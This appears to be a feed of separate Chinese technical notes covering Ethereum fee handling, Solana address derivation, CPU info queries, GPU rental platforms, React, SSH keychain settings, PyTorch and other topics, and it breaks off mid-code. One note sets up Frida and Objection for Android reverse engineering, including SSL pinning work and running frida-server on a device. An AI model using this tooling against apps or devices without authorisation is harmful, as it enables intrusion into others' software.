EIP-1559 Gas 费结构 EIP-1559 交易有两个关键字段:maxFeePerGas:你愿意支付的最高单价(base fee + priority fee) maxPriorityFeePerGas:给矿工的小费("tip")节点在验证交易时检查: balance >= value + gasLimit × maxFeePerGas实际扣费是: gasUsed × (baseFeePerGas + priorityFeePerGas)其中 baseFeePerGas 由网络自动调整,gasUsed <= gasLimit。 典型实现(web3.py) from web3 import Web3w3 = Web3(Web3.HTTPProvider("https://mainnet-rpc.example.xyz"))def send_max(private_key, dst_address, chain_id): account = w3.eth.account.from_key(private_key) from_address = account.address balance = w3.eth.get_balance(from_address) nonce = w3.eth.get_transaction_count(from_address) # 动态读取 baseFee base_fee = w3.eth.get_block("latest")["baseFeePerGas"] # 用节点推荐的 priority fee,更可靠 priority_fee = w3.eth.max_priority_fee # maxFee 加 buffer,防 baseFee 上涨 max_fee_per_gas = base_fee * 2 + priority_fee # 估算 gas,比写死更安全 gas_limit = w3.eth.estimate_gas({ "from": from_address, "to": dst_address, "value": 1, }) gas_limit = int(gas_limit * 1.2) # 20% buffer fee = gas_limit * max_fee_per_gas # 预留少量 wei 防止因 baseFee 微小波动导致余额不足 reserve = w3.to_wei(0.000001, "ether") amount = balance - fee - reserve if amount <= 0: print(f"余额不足,balance={balance}, fee={fee}") return None tx = { "from": from_address, "to": Web3.to_checksum_address(dst_address), "value": amount, "gas": gas_limit, "maxFeePerGas": max_fee_per_gas, "maxPriorityFeePerGas": priority_fee, "nonce": nonce, "chainId": chain_id, "type": 2, } signed = w3.eth.account.sign_transaction(tx, private_key) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) return tx_hash.hex()常见坑 坑一:maxFee 太紧,baseFee 上涨就失败 # 错误写法:maxFee 刚好等于 baseFee + priority max_fee = base_fee + priority_fee # 一旦下一个区块 baseFee 上涨,交易立即失效改为: max_fee = base_fee * 2 + priority_fee # 留足余量,只多花极少的钱坑二:写死 gasLimit gas_limit = 21000 # ETH 原生转账是这个值,但其他链可能不同更安全的方式: gas_limit = w3.eth.estimate_gas({"from": from_addr, "to": dst, "value": 1}) gas_limit = int(gas_limit * 1.2)坑三:不预留 reserve 导致余额精确到 wei 后失败 节点验证 balance >= value + gasLimit × maxFeePerGas。如果 amount = balance - fee 算完后 baseFee 微涨,条件就不满足。 预留 0.000001 ETH(约 1,000,000,000,000 wei)几乎没有损失但能避免大量边缘失败。 坑四:priority_fee 写死 priority_fee = w3.to_wei(0.1, "gwei") # 可能太低导致交易迟迟不确认改为从节点获取推荐值: priority_fee = w3.eth.max_priority_fee # 节点返回当前合理的 tip
读取 CPU 型号信息:Windows 注册表与 Linux /proc/cpuinfo 方法汇总
CPU 型号信息(如 12th Gen Intel(R) Core(TM) i5-12400)的唯一真实来源是 CPUID 指令,操作系统在启动时读取 CPUID 并将结果缓存到系统结构中,之后所有查询都从这份缓存中读取。 Windows:注册表路径 CPU 信息存放在: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0关键字段:键名 示例值ProcessorNameString 12th Gen Intel(R) Core(TM) i5-12400VendorIdentifier GenuineIntel~MHz 2500命令行查询: reg query "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0"wmic 查询(更简洁): wmic cpu get name导出整个 CentralProcessor 分支: reg export "HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor" cpu.regregedit 图形界面: 导航到上述路径 → 右键 → 导出。 Python 读取注册表 import winregkey_path = r"HARDWARE\DESCRIPTION\System\CentralProcessor\0" key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path)cpu_name, _ = winreg.QueryValueEx(key, "ProcessorNameString") vendor, _ = winreg.QueryValueEx(key, "VendorIdentifier") mhz, _ = winreg.QueryValueEx(key, "~MHz")print(cpu_name) # 12th Gen Intel(R) Core(TM) i5-12400Linux:/proc/cpuinfo cat /proc/cpuinfo | grep "model name" | head -1 # model name : 12th Gen Intel(R) Core(TM) i5-12400lscpu | grep "Model name" # Model name: 12th Gen Intel(R) Core(TM) i5-12400/proc/cpuinfo 是内核动态生成的虚拟文件,每次读取都从内核的 cpu_info 结构体生成,本质是 CPUID 的解析结果。 Python 读取: with open('/proc/cpuinfo') as f: for line in f: if line.startswith('model name'): print(line.split(':')[1].strip()) break注意:注册表信息可以被伪装 注册表里的 CPU 信息不是"唯一可信来源":虚拟机(VMware/VirtualBox/Hyper-V)可以在配置中修改 CPUID 返回值 驱动层可以拦截并修改 WMI 查询结果因此注册表/WMI 读取的 CPU 型号可能与物理 CPU 不一致,这是虚拟化平台的常见行为。 各方法对比方法 平台 特点wmic cpu get name Windows 最简单reg query Windows 可脚本化winreg (Python) Windows 程序读取lscpu Linux 格式化输出/proc/cpuinfo Linux 原始详情
BIP39 助记词生成 Solana 地址:SLIP-10 + Ed25519 全流程
BIP39 助记词生成 ETH 地址靠 secp256k1 + keccak256,走 Solana 就完全换了一套——Ed25519 + SLIP-0010,最后不做 hash,直接 Base58 编码公钥。 全流程 助记词 (Mnemonic) │ PBKDF2-HMAC-SHA512 ▼ Seed (64 字节) │ SLIP-0010 (Ed25519) ▼ Master Key │ 按路径 m/44'/501'/0'/0' 派生 ▼ Ed25519 私钥 (32 字节) │ Ed25519 公钥算法 ▼ 公钥 (32 字节) │ Base58 编码 ▼ Solana 地址和 BTC/ETH 唯一相同的只有第一步"助记词转 seed",之后全变了。 第一步:助记词 → seed 标准 BIP39,PBKDF2-HMAC-SHA512: password = 助记词字符串 salt = "mnemonic" + passphrase iters = 2048 output = 64 字节Python: from mnemonic import Mnemonicmnemo = Mnemonic("english") seed = mnemo.to_seed( "abandon abandon abandon abandon abandon abandon " "abandon abandon abandon abandon abandon about", passphrase="", ) print(seed.hex())第二步:seed → Master Key(SLIP-10 Ed25519) Solana 用 SLIP-0010(Ed25519 版本),和 BIP32 的 secp256k1 分道扬镳: I = HMAC-SHA512(key="ed25519 seed", data=seed) IL = master private key (32 字节) IR = master chain code (32 字节)第三步:派生路径 Solana 默认路径: m/44'/501'/0'/0'44':BIP44 501':Solana 的 coin type 0':account 0':change每一级都是 hardened derivation(' 表示 + 2³¹)。Ed25519 只支持 hardened 派生,非 hardened 会直接报错。 第四步:公钥 & 地址 私钥经 Ed25519 算出 32 字节公钥。地址 = Base58(公钥),就这么简单:没有 SHA-256 double hash 没有 RIPEMD-160 没有 keccak 没有 checksum(Base58 本身没自带校验,也没有像 BTC 那样附 4 字节 hash)Python 一把梭 bip_utils 把上面所有细节封好了: from bip_utils import Bip39SeedGenerator, Bip44, Bip44Coinsmnemonic = ("abandon abandon abandon abandon abandon abandon " "abandon abandon abandon abandon abandon about")seed = Bip39SeedGenerator(mnemonic).Generate()bip44 = Bip44.FromSeed(seed, Bip44Coins.SOLANA) account = bip44.Purpose().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(0)print("地址:", account.PublicKey().ToAddress()) print("私钥:", account.PrivateKey().Raw().ToHex())Phantom / Solflare 里的第一个账号导出出来应该跟上面一样。 常见误区 Solana 地址和 ETH 地址长得像 其实完全不同:ETH 地址:40 字符 hex + 0x 前缀,checksum 在 EIP-55 里靠大小写实现 Solana 地址:Base58 编码的 32 字节公钥,长度 32~44 字符,无固定前缀Solana 私钥文件是 64 字节而不是 32 Solana 的钱包 JSON(Phantom 导出)通常是 64 字节:前 32 是私钥 seed、后 32 是公钥。生成时: priv32 = account.PrivateKey().Raw().ToBytes() pub32 = account.PublicKey().RawUncompressed().ToBytes()[-32:] keypair_bytes = priv32 + pub32 # 64 字节导入 solana-cli 或 Phantom 时用这个格式。 Ed25519 派生路径可以省略部分层级 Phantom 早期用 m/44'/501'/0'(只三层)而非 m/44'/501'/0'/0'——同一助记词在这两种路径下算出来的地址不同。发现"钱包地址对不上"时先检查是不是路径差异,试试:m/44'/501'/0' — Phantom "legacy" m/44'/501'/0'/0' — 现在的默认一句话总结 Solana 地址生成 = BIP39 seed → SLIP-10 Ed25519 派生 → Base58(公钥)。和 EVM 完全两套加密路径,别拿 ETH 的经验类比。用 bip_utils 三行搞定,别自己实现 Ed25519。
GPU 租赁平台架构:Agent 节点管理、Docker 容器调度与供给冷启动
核心难点:供给而非技术 GPU 租赁平台最先需要解决的问题不是如何调度,而是为什么别人愿意把 GPU 挂到你的平台。供方需要确认:平台真的有租用需求,不会长期空跑 收益能覆盖电费和硬件损耗 提现流程可靠 机器不会被用于挖矿或违法用途Agent 节点管理(主流方案) Agent 是一个安装在供方机器上的后台进程,负责: 采集信息 ├── GPU 型号 / 显存 / 温度 ├── CPU 利用率 ├── 内存 / 硬盘 ├── 公网 IP / 带宽 ├── 在线状态 └── CUDA 版本 / 驱动版本上报到平台服务器 ↓ 控制台展示节点列表 ↓ 用户下单 → Agent 收到任务 → 启动容器Agent 还需要支持:开机自启、掉线重连、心跳保活、远程执行命令。 容器调度(Docker Worker) 大多数 GPU Marketplace 用 Docker 而非虚拟机: # 接单后自动执行 docker pull nvidia/cuda:12.0-base docker run \ --gpus all \ -p 30000:22 \ -d nvidia/cuda:12.0-base sleep infinity# 租户通过 SSH 接入 ssh user@node-ip -p 30000也可以直接暴露 Jupyter 或 ComfyUI 等界面,省去 SSH 配置。 Docker vs 虚拟机方案 优点 缺点Docker 启动快、开销小 隔离性略弱KVM/QEMU 安全隔离好 GPU 透传(PCI passthrough)配置复杂生产环境主流选 Docker,只有对安全隔离有严格要求的场景才考虑虚拟机。 闲置 GPU 共享(家用机) Agent 可以实现智能避让: def should_accept_task(): gpu_util = get_gpu_utilization() # nvidia-smi cpu_util = get_cpu_utilization() user_active = is_user_active() # 检测鼠标 / 键盘活动 return gpu_util < 10 and cpu_util < 10 and not user_active用户回来玩游戏时 Agent 自动暂停任务、释放 GPU。 计费与分润 用户支付租金 ↓ 平台抽成(通常 10~30%) ↓ 供方获得剩余收益平台抽成比例需要在"吸引供方"和"平台可持续"之间平衡。 冷启动策略 新平台面临先有鸡还是先有蛋的问题,推荐分阶段:先签稳定供方:找渲染农场、AI 创业团队、网吧(高配置机器)合作,保证第一批节点稳定在线 建控制台:展示节点状态、GPU 利用率、收益统计 实现任务调度:支持自动分配节点、启动 Docker 容器 最后开放市场:加入公开租用、计费、支付、评分系统每个阶段独立验证价值,避免同时解决供给、需求、调度、支付四个难题。
React 回到顶部按钮:自实现 vs Ant Design FloatButton vs react-scroll-to-top
自己实现(推荐,无依赖) 约 30 行代码,支持平滑滚动,可自由定制样式: import { useEffect, useState } from "react";export default function BackTop() { const [show, setShow] = useState(false); useEffect(() => { const onScroll = () => { setShow(window.scrollY > 300); }; window.addEventListener("scroll", onScroll); return () => window.removeEventListener("scroll", onScroll); }, []); if (!show) return null; return ( <button onClick={() => window.scrollTo({ top: 0, behavior: "smooth", }) } style={{ position: "fixed", right: 20, bottom: 20, width: 50, height: 50, borderRadius: "50%", cursor: "pointer", }} > ↑ </button> ); }用法: function App() { return ( <> <YourPage /> <BackTop /> </> ); }滚动超过 300px 才显示,点击后平滑回到顶部。useEffect 里记得清理监听器,避免内存泄漏。 Ant Design:FloatButton.BackTop 已经用了 Ant Design 的项目,直接用现成组件: import { FloatButton } from "antd";function App() { return ( <> <YourPage /> <FloatButton.BackTop /> </> ); }支持自动显示/隐藏、动画、自定义位置和图标,零配置可用。 Material UI MUI 没有专门的 BackTop 组件,官方示例用 Fab 实现: import Fab from "@mui/material/Fab"; import KeyboardArrowUpIcon from "@mui/icons-material/KeyboardArrowUp";<Fab color="primary" size="small" onClick={() => window.scrollTo({ top: 0, behavior: "smooth" })} > <KeyboardArrowUpIcon /> </Fab>第三方库:react-scroll-to-top 如果项目没有 UI 库但想省事: npm install react-scroll-to-topimport ScrollToTop from "react-scroll-to-top";function App() { return ( <> <YourPage /> <ScrollToTop smooth /> </> ); }支持平滑滚动、自定义颜色、自定义 SVG 图标、自定义触发高度。 选哪个场景 推荐方案普通 React 项目 自实现,30 行以内已用 Ant Design FloatButton.BackTop已用 MUI Fab + window.scrollTo想快速加功能 react-scroll-to-top不要为了一个回到顶部按钮引入专门的依赖,自实现版本代码量极小且完全可控。
Python 跨平台获取 CPU 型号:py-cpuinfo / wmic / /proc/cpuinfo 全方案
问题背景 需要在 Python 代码里获取完整的 CPU 型号字符串,例如: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz不同平台读取方式不同,以下是各方案的完整写法。 推荐:py-cpuinfo(跨平台) pip install py-cpuinfofrom cpuinfo import get_cpu_infoinfo = get_cpu_info() print(info["brand_raw"]) # Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHzbrand_raw 是最原始、最完整的 CPU 商品名称。该库会自动根据平台选择 Windows 注册表、Linux /proc/cpuinfo、macOS sysctl 等数据源,兼容性最好,适合写跨平台工具。 Windows(无第三方库) 方案一:wmic import subprocesscpu = subprocess.check_output( "wmic cpu get name", shell=True ).decode("gbk").split("\n")[1].strip()print(cpu)注意编码用 gbk,Windows 中文环境下 cmd 输出默认是 GBK。 方案二:PowerShell CimInstance import subprocesscpu = subprocess.check_output( ["powershell", "(Get-CimInstance Win32_Processor).Name"] ).decode("utf-8").strip()print(cpu)PowerShell 输出是 UTF-8,更可靠,推荐用这个。 Linux 直接读 /proc/cpuinfo: with open("/proc/cpuinfo") as f: for line in f: if line.startswith("model name"): print(line.split(":", 1)[1].strip()) break多核机器 /proc/cpuinfo 会重复每个核的信息,读第一条就够了。 macOS import subprocesscpu = subprocess.check_output( ["sysctl", "-n", "machdep.cpu.brand_string"] ).decode().strip()print(cpu)不推荐:platform.processor() import platformprint(platform.processor()) # 很多系统输出:Intel64 Family 6 Model 79 Stepping 1, GenuineIntel # 或者直接为空字符串platform.processor() 不返回 CPU 商品名称,在 Linux 上通常是架构描述或空串,不适合用来显示给用户看的型号。 跨平台封装 from cpuinfo import get_cpu_infodef get_cpu_name() -> str: return get_cpu_info()["brand_raw"]用 py-cpuinfo 一行搞定,不需要为三个平台分别写判断逻辑。
macOS 取消 SSH 钥匙串自动登录
ssh-add --apple-use-keychain ~/.ssh/id_rsa 做了两件事:把私钥加载到 ssh-agent,同时把 passphrase 保存到 macOS 钥匙串(Keychain)。取消时两者需要分别处理。 从 ssh-agent 移除密钥 查看当前已加载的密钥: ssh-add -l移除指定密钥: ssh-add -d ~/.ssh/id_rsa或移除全部: ssh-add -D这只影响当前 ssh-agent 会话,不会删除 Keychain 中保存的密码。 从钥匙串访问中删除 SSH 密码Command + Space 打开 Spotlight,搜索钥匙串访问(Keychain Access) 左侧选登录(Login) → 密码(Passwords) 搜索 SSH 或 id_rsa 找到 SSH: /Users/<你的用户名>/.ssh/id_rsa 右键 → 删除删除后再使用 SSH 时会重新要求输入 passphrase。 修改 ~/.ssh/config 禁用 UseKeychain 查看当前配置: cat ~/.ssh/config如果有以下内容,改为 no 或删除这两行: Host * UseKeychain yes AddKeysToAgent yes改为: Host * UseKeychain no AddKeysToAgent no完全恢复到手动输入密码 # 1. 移除 ssh-agent 中所有密钥 ssh-add -D# 2. Keychain Access 里删除 SSH 条目(GUI 操作)# 3. 修改 ~/.ssh/config,删除或禁用 UseKeychain / AddKeysToAgent完成后每次 SSH 连接都会提示输入 passphrase,不再自动使用钥匙串。 各操作作用范围操作 影响范围ssh-add -d 仅移除当前 ssh-agent 会话中的密钥Keychain Access 删除 删除保存的 passphrase,下次需重新输入UseKeychain no 阻止新的 SSH 会话向 Keychain 写入AddKeysToAgent no SSH 连接时不自动将密钥添加到 agent
Hexo 替代方案:Astro、Hugo、VitePress 选型对比
Hexo 的问题 Hexo 在 2015–2020 年是最流行的静态博客框架,但现在暴露出几个问题:插件生态老化:很多插件多年未更新,兼容性问题多 大站构建慢:文章超过几百篇后全量构建明显变慢 Markdown 扩展性差:不支持 MDX,组件嵌入需要 hack 主题质量参差不齐:活跃维护的主题越来越少主流替代方案 Astro(个人博客首选) 适合: 个人博客、作品集、内容站 npm create astro@latest核心优势:Islands 架构:默认零 JS,按需激活交互组件 MDX 支持:Markdown 里可以嵌入任意框架组件(React/Vue/Svelte) 构建速度快:增量构建,千篇文章也流畅 SEO 友好:内置 sitemap、RSS、Open Graph 主题生态活跃:官方 theme showcase 持续更新 多框架:同一项目可以混用 React、Vue、Svelte 组件缺点:学习曲线比 Hexo 稍陡(需要理解 Islands 概念) .astro 文件语法独特Hugo(超大站、Go 技术栈) 适合: 文章超过千篇、CI/CD 要求构建秒级完成 brew install hugo hugo new site myblog核心优势:构建速度极快:Go 实现,数千篇文章构建只需几秒 单二进制:不依赖 Node.js,部署环境干净 模板系统强大:Go template,灵活但学习成本高缺点:Go template 语法反直觉,调试困难 不支持组件化(无 MDX) 主题质量不稳定VitePress(Vue 技术文档) 适合: 技术文档、组件库文档 npm add -D vitepress核心优势:Vite 驱动:热更新极快 Vue 生态:文档里可以直接写 Vue 组件做交互 Demo 默认主题精美:开箱即用,对比 Hexo 默认主题体验好很多缺点:专门为文档场景优化,个人博客功能(RSS、标签、归档)需要手写 不适合内容站Next.js(需要服务端功能) 适合: 需要 SSR、API Routes、数据库查询的站点 优点:完整的 React 生态 SSG + SSR + ISR 混用 Vercel 一键部署缺点:对纯静态博客来说过重 构建后体积大Docusaurus(纯文档站) 适合: 开源项目文档、知识库 Meta 出品,React 生态,内置版本管理、多语言、搜索。对博客场景支持一般。 选型建议场景 推荐个人博客、内容站 Astro超大站(千篇以上)或 CI 构建极速要求 HugoVue 组件库文档 VitePress需要 API / 数据库 Next.js开源项目文档 Docusaurus从 Hexo 迁移成本最低的是 Astro:Markdown 文件基本兼容,frontmatter 格式相同,只需调整模板层。
Frida + frida-tools + Objection 版本对照:frida==16.7.19 最稳组合及 64 位进程错误
版本对照表组件 最新版 最稳版 说明frida 17.5.x 16.7.19 17 仍有 iOS/Objection 兼容问题frida-tools 13.x(最新) 13.7.1 随 frida 走,一般不用指定objection 最新版 最新版 两套 frida 都支持frida-server 与 frida 客户端相同版本 16.7.19 设备端必须与 PC 端版本一致安装命令 最稳定组合(推荐) pip install frida==16.7.19 frida-tools==13.7.1 objection适合:Android 逆向、SSL Pinning、Objection Explore、大多数中文教程。 使用最新版 Frida 17 pip install frida==17.5.1 frida-tools objection适合:需要最新特性,iOS 逆向可能遇到问题时再降级。 常见错误:unable to handle 64-bit processes frida-ps -U Failed to enumerate processes: unable to handle 64-bit processes due to build configuration原因:安装了 32 位 Python,而 Android frida-server 是 64 位的。 检查 Python 位数: python -c "import struct; print(struct.calcsize('P')*8)"如果输出 32,说明是 32 位 Python。 解决方法:从 python.org 下载并安装 64 位 Python(安装时勾选"Add to PATH") 重新创建虚拟环境:python -m venv frida_env .\frida_env\Scripts\activate pip install frida==16.7.19 frida-tools objection验证:frida-ps -Ufrida-server 版本必须匹配 设备端 frida-server 版本必须与 PC 端 pip install frida 安装的版本完全一致。 例如 PC 端安装了 frida==16.7.19,则设备端 frida-server 也必须是 16.7.19。 从 GitHub releases 下载对应版本: # Android arm64 frida-server-16.7.19-android-arm64# 推送到设备 adb push frida-server-16.7.19-android-arm64 /data/local/tmp/frida-server adb shell "chmod 755 /data/local/tmp/frida-server" adb shell "/data/local/tmp/frida-server &"版本混用报错 如果 PC 端 frida 版本和 frida-server 版本不一致,会看到: unable to communicate with remote frida-server Failed to spawn: unable to find process with name 'xxx'解决方法:保持两端版本一致,不要跨大版本(如 PC 16.x + server 14.x)。
PyTorch 读取 CSV 数据:pandas 转 Tensor、自定义 Dataset 与 DataLoader
快速读取(小数据) 先用 pandas 读 CSV,再一次性转成 Tensor: import pandas as pd import torchdf = pd.read_csv("house.csv")# 前 N-1 列是特征,最后一列是标签 x = torch.tensor(df.iloc[:, :-1].values, dtype=torch.float32) y = torch.tensor(df.iloc[:, -1].values, dtype=torch.float32)print(x.shape, y.shape) # torch.Size([N, features]) torch.Size([N])iloc[:, :-1] 取除最后列之外的所有列,iloc[:, -1] 取最后一列。 自定义 Dataset(正式训练推荐) 当数据量大或需要在线增强时,继承 Dataset 类实现懒加载: import pandas as pd import torch from torch.utils.data import Datasetclass CSVDataset(Dataset): def __init__(self, path): self.data = pd.read_csv(path) def __len__(self): return len(self.data) def __getitem__(self, index): row = self.data.iloc[index] x = torch.tensor(row[:-1].values, dtype=torch.float32) y = torch.tensor(row[-1], dtype=torch.float32) return x, y必须实现三个方法:__init__:加载/读取数据 __len__:返回样本总数 __getitem__:返回第 index 个样本DataLoader 分批读取 from torch.utils.data import DataLoaderdataset = CSVDataset("house.csv")loader = DataLoader( dataset, batch_size=32, shuffle=True, num_workers=4 # 多进程预取,Windows 下注意加 if __name__ == "__main__" )for x_batch, y_batch in loader: print(x_batch.shape) # [32, features] print(y_batch.shape) # [32]DataLoader 自动处理:打乱数据(shuffle=True) 按 batch_size 分批 多线程预取(num_workers)完整训练示例 import torch import torch.nn as nn from torch.utils.data import DataLoadermodel = nn.Sequential( nn.Linear(2, 16), nn.ReLU(), nn.Linear(16, 1) )optimizer = torch.optim.Adam(model.parameters(), lr=1e-3) criterion = nn.MSELoss()dataset = CSVDataset("house.csv") loader = DataLoader(dataset, batch_size=8, shuffle=True)for epoch in range(100): for x, y in loader: pred = model(x).squeeze() loss = criterion(pred, y) optimizer.zero_grad() loss.backward() optimizer.step() if epoch % 10 == 0: print(f"Epoch {epoch}, Loss: {loss.item():.4f}")训练集与验证集分割 from torch.utils.data import random_splitdataset = CSVDataset("house.csv")train_size = int(0.8 * len(dataset)) val_size = len(dataset) - train_sizetrain_set, val_set = random_split(dataset, [train_size, val_size])train_loader = DataLoader(train_set, batch_size=32, shuffle=True) val_loader = DataLoader(val_set, batch_size=32)处理标签类型 回归任务用 float32,分类任务用 long: # 回归:y 是连续值 y = torch.tensor(row[-1], dtype=torch.float32)# 分类:y 是类别编号 y = torch.tensor(int(row[-1]), dtype=torch.long)分类时对应的 loss 是 nn.CrossEntropyLoss(),回归时用 nn.MSELoss()。
用 Python 构建高考志愿填报系统:位次换算与录取概率预测
为什么不用深度学习 这个场景是表格数据回归预测,不是图像识别。数据量有限(全国高校 × 省份 × 年份),LightGBM 等梯度提升模型在表格数据上通常比神经网络效果更好,且训练速度快。 技术栈 Python ├── Pandas 数据清洗和处理 ├── LightGBM 预测最低录取位次 ├── FastAPI 后端 API ├── SQLAlchemy 数据库 ORM └── Vue3 前端展示第一层:位次换算 真正决定录取的是位次,而非分数。同一个位次在不同年份对应的分数不同: import pandas as pd# 读取当年一分一段表 score_table = pd.read_csv("score_rank_2025.csv") # 结构:score, rank(分数→位次)def score_to_rank(score: int, year: int) -> int: df = score_table[score_table["year"] == year] row = df[df["score"] == score] if row.empty: # 取最接近的分数 row = df.iloc[(df["score"] - score).abs().argsort()[:1]] return int(row["rank"].values[0])位次越小录取概率越高(1 代表全省第一名)。 第二层:训练预测模型 历史录取数据结构:year school major province min_rank plan_count2023 清华 计算机 江苏 235 152024 清华 计算机 江苏 198 12import lightgbm as lgb from sklearn.model_selection import train_test_splitdf = pd.read_csv("admission_history.csv")features = ["year", "school_id", "major_id", "province_id", "plan_count"] target = "min_rank"X_train, X_test, y_train, y_test = train_test_split( df[features], df[target], test_size=0.2, random_state=42 )model = lgb.LGBMRegressor(n_estimators=500, learning_rate=0.05) model.fit(X_train, y_train)也可以替换为 XGBRegressor 或 CatBoostRegressor,效果相近。 第三层:计算录取概率 基于历史波动区间: def admission_probability(school_id, major_id, province_id, student_rank: int, year: int) -> float: # 预测今年最低录取位次 predicted_min_rank = model.predict([[year, school_id, major_id, province_id, plan_count]])[0] # 历史波动标准差 history = df[(df.school_id == school_id) & (df.major_id == major_id)] std = history["min_rank"].std() # 学生位次越小(越靠前)于预测线,概率越高 z = (predicted_min_rank - student_rank) / (std + 1) from scipy.stats import norm return float(norm.cdf(z))输出 0.0~1.0 的概率值。 冲/稳/保 分类 def classify(prob: float) -> str: if prob >= 0.8: return "保" # 稳上 elif prob >= 0.5: return "稳" # 有竞争力 else: return "冲" # 有风险但值得一试FastAPI 接口 from fastapi import FastAPIapp = FastAPI()@app.get("/predict") def predict(school: str, major: str, province: str, score: int, year: int): rank = score_to_rank(score, year) prob = admission_probability(school, major, province, rank, year) label = classify(prob) return { "rank": rank, "probability": round(prob, 3), "label": label }模型效果优化特征工程:加入招生人数变化趋势、学校综合排名、专业热度 位次分段:分段训练(Top 1000 / 1000~10000 / 10000+),各段波动规律不同 时序权重:近年数据给更高权重(sample_weight 参数) 多省合并训练:数据量小时跨省训练,加省份编码作为特征数据来源 历年录取数据可从各省教育考试院官网下载,或使用第三方爬虫整理的开源数据集(GitHub 搜索"高考录取数据")。确保数据包含:学校、专业、省份、年份、最低分、最低位次、计划人数。
波士顿房价预测是回归还是分类?多元 vs 多输出的区别
有人问:"波士顿房价预测(Boston Housing)是多分类问题吧?" 不是。这是回归问题(Regression)。顺带把三个常混的概念都拆一下——多元回归、多输出回归、多分类。 波士顿房价预测的本质 数据集大致:CRIM RM LSTAT PTRATIO ... MEDV(房价,单位万美元)0.00632 6.575 4.98 15.3 ... 24.00.02731 6.421 9.14 17.8 ... 21.60.03237 6.998 2.94 18.7 ... 33.4输入:13 个特征 输出:MEDV = 房价,一个连续值(可以是 18.3、24.7、33.4...)输出是连续数字 → 回归,不是分类。 什么时候会变成分类 自己把房价切段: 0 – 15 → "低价" 15 – 30 → "中价" 30+ → "高价"这样任务就变成了三分类——但这已经不是原始 Boston Housing 任务了,是你人为改造的。原任务永远是回归。 三个概念区分 1. 多元回归(Multiple Regression) 多个输入特征 → 一个输出。 波士顿房价就是这种:13 个特征 → 1 个房价。 import torch.nn as nnmodel = nn.Sequential( nn.Linear(13, 64), nn.ReLU(), nn.Linear(64, 1), # 输出 1 维 ) loss_fn = nn.MSELoss()"多元"指的是输入的元数(features 多),不是输出多。 2. 多输出回归(Multi-output Regression) 多个输入 → 多个连续输出。 例子:预测未来一栋房子的售价 + 出租金 + 涨幅百分比——3 个连续输出。 model = nn.Sequential( nn.Linear(13, 64), nn.ReLU(), nn.Linear(64, 3), # 输出 3 维 ) loss_fn = nn.MSELoss() # 依然是 MSE,输出是向量3. 多分类(Multi-class Classification) 输入 → 多个类别中选一个。 MNIST 手写数字识别是典型: model = nn.Sequential( nn.Linear(784, 128), nn.ReLU(), nn.Linear(128, 10), # 10 类 ) loss_fn = nn.CrossEntropyLoss() # 内部含 softmax标签是类别编号(整数 0-9),损失是 CrossEntropy。 4. 顺带:多标签分类(Multi-label Classification) 输入 → 多个类别可同时为真。 例子:一张图片可能同时含"猫、狗、汽车"三个标签。 model = nn.Sequential( nn.Linear(784, 128), nn.ReLU(), nn.Linear(128, 3), nn.Sigmoid(), # 每维独立 0-1 ) loss_fn = nn.BCELoss() # 二元交叉熵每维独立判 0 或 1。 四类对照表任务类型 输出个数 输出类型 最后一层 损失 例子多元回归 1 连续 Linear(_, 1) MSELoss Boston Housing 房价多输出回归 K 连续 Linear(_, K) MSELoss 同时预测房价 + 租金二分类 1 0/1 Linear(_, 1)+Sigmoid BCELoss 垃圾邮件识别多分类 K 类别编号 Linear(_, K) CrossEntropyLoss MNIST 数字识别多标签分类 K K 个 0/1 Linear(_, K)+Sigmoid BCELoss 图片多标签Boston Housing 数据集的争议 顺带一提——波士顿房价数据集本身有伦理问题。数据里有个特征 B(黑人人口相关变量)设计上带有种族偏见,2022 年 scikit-learn 明确 deprecated 了这个数据集: # 老代码,会警告 from sklearn.datasets import load_boston# 新推荐 from sklearn.datasets import fetch_california_housing现在教学上一般用 California Housing 或 Ames Housing 数据集替代——同样是回归任务,没有伦理争议、样本更多。 用 California Housing 的替代示例 from sklearn.datasets import fetch_california_housing import torch, torch.nn as nn from torch.utils.data import DataLoader, TensorDatasetdata = fetch_california_housing() X = torch.tensor(data.data, dtype=torch.float32) y = torch.tensor(data.target, dtype=torch.float32).unsqueeze(1)loader = DataLoader(TensorDataset(X, y), batch_size=64, shuffle=True)model = nn.Sequential( nn.Linear(8, 64), nn.ReLU(), nn.Linear(64, 32), nn.ReLU(), nn.Linear(32, 1), ) optim = torch.optim.Adam(model.parameters(), lr=1e-3) loss_fn = nn.MSELoss()for epoch in range(20): for x, target in loader: optim.zero_grad() pred = model(x) loss = loss_fn(pred, target) loss.backward() optim.step() print(f"epoch {epoch}: loss={loss.item():.4f}")跑起来 20 轮 loss 会稳定下降——回归任务的经典流程。 一句话总结 波士顿房价 = 回归任务(输出连续价格),属于"多元回归"(多个输入 → 一个输出),不是"多输出回归"、也不是"多分类"。教学优先用 California Housing 数据集,避开原数据集的伦理争议。
矩阵运算的几何意义:变换、旋转与神经网络中的线性层
矩阵是"变换机器" 标量乘法 3 x 5 = 15 只是把一个数放大 3 倍。要对一个二维点进行缩放、旋转、镜像,一个数字不够用,需要矩阵。 矩阵乘以向量 = 对该点执行一次变换: import numpy as npA = np.array([[2, 0], [0, 2]]) # 缩放矩阵x = np.array([2, 3]) # 原始点 (2, 3)print(A @ x) # [4, 6] -> 放大 2 倍常见变换矩阵 缩放(Scaling): [sx 0 ] 把 x 缩放 sx 倍 [0 sy] 把 y 缩放 sy 倍旋转 angle(Rotation): [cos a -sin a] [sin a cos a]逆时针旋转 90 度: import math theta = math.pi / 2R = np.array([[math.cos(theta), -math.sin(theta)], [math.sin(theta), math.cos(theta)]])x = np.array([1, 0]) print(R @ x) # [0, 1] — (1,0) 逆时针旋转到 (0,1)镜像(y 轴翻转): [-1 0] [ 0 1]为什么矩阵乘法是那个规则 [1 2] [5] = [1x5 + 2x6] = [17] [3 4] x [6] [3x5 + 4x6] [39]不是人为规定,而是"两次变换合并"的自然结果:矩阵的每一行定义输出的一个维度,该维度由输入向量的线性组合得出。 矩阵乘法 = 变换的复合 两个矩阵连乘等于先做 B 变换再做 A 变换: A = np.array([[2, 0], [0, 2]]) # 放大 2 倍 B = 